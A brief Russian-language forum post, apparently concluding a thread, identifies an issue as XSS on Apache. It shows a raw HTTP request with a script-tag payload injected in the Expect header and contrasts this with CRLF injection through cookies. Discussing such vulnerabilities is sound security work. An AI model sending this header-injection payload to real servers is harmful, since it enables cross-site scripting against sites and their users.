Ну имхо щас уже ясно ...
это типа XSS на апаче

GET / HTTP/1.0
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0;
Host: http://localhost
Cookie: hotlog=1;path=/
Connection: Close
Expect: <script>alert(Electro)</script>
Pragma: no-cache

Разница получился в том что в CRLF injection идет манупуляция с куками

Все! Ясно! Всем спасибо за ответы
Тему можно закрыть